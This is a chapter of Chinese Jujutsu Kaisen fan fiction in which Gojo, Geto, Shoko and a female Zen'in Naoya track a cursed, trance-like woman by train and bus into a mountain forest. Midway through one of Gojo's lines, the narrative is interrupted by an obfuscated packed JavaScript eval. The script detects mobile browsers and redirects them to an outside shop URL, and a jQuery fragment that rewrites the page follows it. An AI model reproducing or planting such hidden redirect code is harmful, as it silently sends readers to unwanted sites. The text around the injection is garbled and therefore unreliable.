“女士女士。”

    禅院直哉的手机荧幕亮了一下,弹出一条消息。

    【没有反应。】

    …

    【她身上也不是咒灵。】

    【是活人不?】

    【你在说什么鬼话,当然是,我以我的六眼发誓。】

    【她平静得像鬼。】

    【那这车厢里像鬼的挺多的。】

    【硝子你要不要去试试反转术式?】

    .....

    【反转术式没用。但的确是人。】

    …

    【不知道发动者是什么东西,但现在我们应该处理不了她身上的这股咒力。】

    【但这咒力肯定跟她现在这完全托管一样的状态有关系,我们已经跟了快一百公里了,从这术式的影响范围来看对手起码也有一级。】

    【我们得跟着,不然她大概率会出事。】

    大家自然而然的开始商量应该如何处理这个问题,但这个女人并不是上面交代下来的任务,只是这个时间段他们刚好碰到了她。

    【要不直接打晕她?】

    【但这样的话,解决不了那股奇怪的咒力吧,她醒过来估计还要继续这个过程,不如直接跟着她找到那个始作俑者。毕竟不管是诅咒师还是咒灵,能够隔着这么远影响到受害者,放任不管的话感觉都会出大问题。】

    【啊真烦。】

    五条悟发完短信,右脚烦躁地开始打拍子。他们跟着被控制住的人一路几番转线,现在到了这个几乎没什么人的车厢。为了不被其他人发觉异样,只能拿手机讨论情报,真是把他憋的不行。

    旁边的人感受到跺脚的动静回头,被他冷眼看了一眼之后又慌慌张张地回过身。但好在他的诉求应该也不是没达到,五条悟泱泱地停住了脚。

    他是清楚御三家的人对咒灵的看法的。

    无任命不做,无利益不做,太困难能推出去就不自己做。

    作为家族实力基石的咒术师能行方便就行方便,绝对不给派超出实力范围,或实力不明的对手以保存家族的力量。

    他们深知自己家族地位的来源,真要说起来,祓除咒灵本来就是他们维护家族地位的手段,自然没有什么悲天悯人,拯救世界的操守。

    好吧这点他自己也不是很乐意。

    她的事迹在御三家也算是如雷贯耳。

    毕竟在禅院家“胡作非为”的女孩是一个不可多得的嘲讽禅院家的好机会。

    什么目无尊长,家教不严,身为女孩缺爱舞枪弄棒,跟自己的亲兄弟比斗而不会退让,与长辈不愉而不懂忍受。

    如果他们说的是这个给他脸色看的那个人的话,他到不奇怪她做出这样的事。

    而且那些老东西是想敲打谁呢,还敢拿到他面前说,总有些傻逼会把一时的好脸当成他示弱或者放任的证明,而且敲打完之后隔了一段时间放任不管又会再次膨胀。

    他还是六眼欸,所以他也曾想象了一下禅院直哉在禅院家会经历一些怎样的事,然后小小地祈祷一下。

    希望她不要放弃桀骜不驯的样子,也希望她不要太烂橘子。

    后来又听说她跟她长兄的矛盾愈演愈烈,以至于她设计杀了他。

    家里又是一阵嗤笑嘲讽。以至于连在高专里的他都听到了一些风声。

    然后没多久,他就在高专看见了她。

    她看上去还是不喜欢他,但她看上去不像会对人下杀手。

    毕竟那天辅助监督阻止她,她也只是自己冲了闸,没有刁难他。

    这跟大多御三家出来的做派不怎么一样。

    而且夜蛾老师肯定对这件事情有所耳闻,却仍旧愿意收她也就说明了,这件事应该是有些隐情。他自然也不需要再跟杰和硝子多嘴。

    只是禅院直信的尸体上有她的咒力残秽这件事是毋庸置疑的,他没法判断出禅院直哉在她哥哥死亡这件事上的分量。

    再次希望她不要真的是烂橘子。

    还有这破咒灵还是烂诅咒师,等他找到这个罪魁祸首他一定要先狠狠揍上一顿。

    他五条悟这辈子就没这么小心翼翼过,为什么跟踪一个人还要不被其他人发觉异样?

    .....

    【她动了。下车。】

    手机里弹出的信息确定了他们下一步的行动。

    禅院直哉不太熟练地摁着刚开始熟悉的手机,没有表露出自己的情绪。只是那种自从见到他们开始就此消彼长的疑惑又增值出了一个新的。

    他们才完成一个任务,然后又去找下一个咒灵。

    祓除咒灵是什么好差事吗?去处理诅咒师又是什么开心的事吗?既无报酬,也不重要。为什么上赶着?

    .....

    穿着套装裙的女人带着工作包一动不动地站在那里,其实肉眼看上去她并没有什么异样,只是个普通的工作族。

    只是这个站点离市中心有百来公里,工作日的现在更是人烟罕至。

    然后她像所有到站的人那样,抱着东西,踩着坡跟鞋走了出去。

    女人走得很快,像是明确知道之后的方向。但出来之后他们跟着她走了几公里,又兜回到了车站出口附近的一个公交站。

    这个公交站应该是有点年月,铁质的支柱上爬着橙红的锈,钉在背后横撑上面的公交牌上写着唯一会经过这个公交站的巴士线路。

    女人站定在那里,除了呼吸没有丝毫的移动,像是要等车,也像是个路标。

    好在这里除了他们没有其他人,他们可以不用藏着了。

    “她一整天除了换车就这么站着,挺这么直不累吗?”五条悟挑着眉,有些不爽。

    “应该还好吧,我都给她用了几次反转术式了。”家入硝子在女人的眼前挥了挥手,又拍了拍她的肩膀试图再发动一次反转术式,片刻后她两手一摊,“还是没反应。”

    黑发的少年上前认真地研究起上面用毛笔字写就的公告,“上面说一天只有五班欸,让我看看,下一班是11点57分的。”

    “哇,现在都11点50分了,她真要转公交啊。这啥鬼玩意这么智能还能知道几点钟应该来坐公交车把我们溜了这么大一圈。”五条悟翻开手机一看,又咔得把它合上:“会不会是什么对于不看完过长的不能跳过的游戏过场动画就

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17962149|214345||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    不能打boss的痛恨化身的咒灵。”

    “好长的定语,鬼武者3给你的心理阴影就这么重吗?”夏油杰吐槽,“但那个不至于催生出影响范围这么广的咒灵吧。会不会是什么再捏它了什么死亡公交啊,如月车站什么的。”然后他眼一眯往那边山的方向一看,问道:“诶,那个是公交车吗?”

    收割完的稻田里剩下的是稻谷的坟冢。它们沿着乡间混着黄土的马路铺展,直到触碰到被混杂着红黄的山丘。

    大家齐头望去,被山体遮住的某处,一辆巴士露出了它的轮廓。

    它不缓不急地驶过来,轻巧地停在了他们面前。

    然后,静态的女人,在门发出金属摩擦的声音之后,又恢复了活人的模样。

    她扶着门登上了车,按照正常的步骤取了一张乘车券,又在一个前面靠窗的座位上变回了会呼吸的路标。

    白发的少年比了个手势跟着她先上了车。

    驾驶座里坐着一个戴着眼镜的老年女性司机,五条悟能感受到她借着后视镜观察着后面的动静。

    但六眼告诉他,这是个如假包换的人类,所以暂时还不需要担心。

    他往后伸手偷偷摸摸地一比划,剩下的三人也鬼鬼祟祟地上了车。

    他们分散坐在了女人前后的三排,把相对没什么战斗力的家入硝子围在了中间。

    没等他们作稳,一股舒适的后坐力就托起了他们的背。

    公交车启动了。

    大家莫名其妙地感到有些凝重。

    禅院直哉打开振动的手机,首页是五条悟群发的短信。

    【司机是普通人,车上也没有咒灵的气息。】

    这似乎真的是一趟普通的列车。

    司机婆婆稳稳地随着路径的波动而左右着方向盘,他们慢慢地驶进了山林。

    下车的时候,司机婆婆叫住了走在最后的禅院直哉。

    “小姑娘!”

    直哉回过头望着这个叫住她的已步入暮年的普通老人,她神情严肃,看上去不苟言笑。

    “小姑娘,你们要去干什么?”

    已经下车的一行人走的很快,就这耽搁了一下,已经走出去很远。禅院直哉不知道应该怎么回答回答,祓除咒灵是肯定不能说,但说保护术式受害者?是一个更奇怪的选项。她选择什么也不说加速冲了出去。

    晚秋初冬的山林里面满是落叶,已经转褐的树叶裹着前两天的雨和成的泥沙结结实实地擂了几层,散发出一种泥土的气息。

    这不算是一条好走的路,起码对于普通人而言是这样的。它窄小而蜿蜒,还随着山体的变化而上上下下。

    但这个穿着坡跟鞋的女人走的很顺畅,甚至跟都不会陷入这个有些松软的土地。

    很快土路也不见了踪影,只有前人留下脚印还预示着他们之后的去向。

    有点奇怪,似乎也不太奇怪。

    延伸的脚印有好几组,但没有一组走了回头路。这大概象征着什么,其实几乎没有争议。

    沿着脚印又向前走了一会。

    五条悟突然收住脚步,望了前方一下然后说道:“到地了。”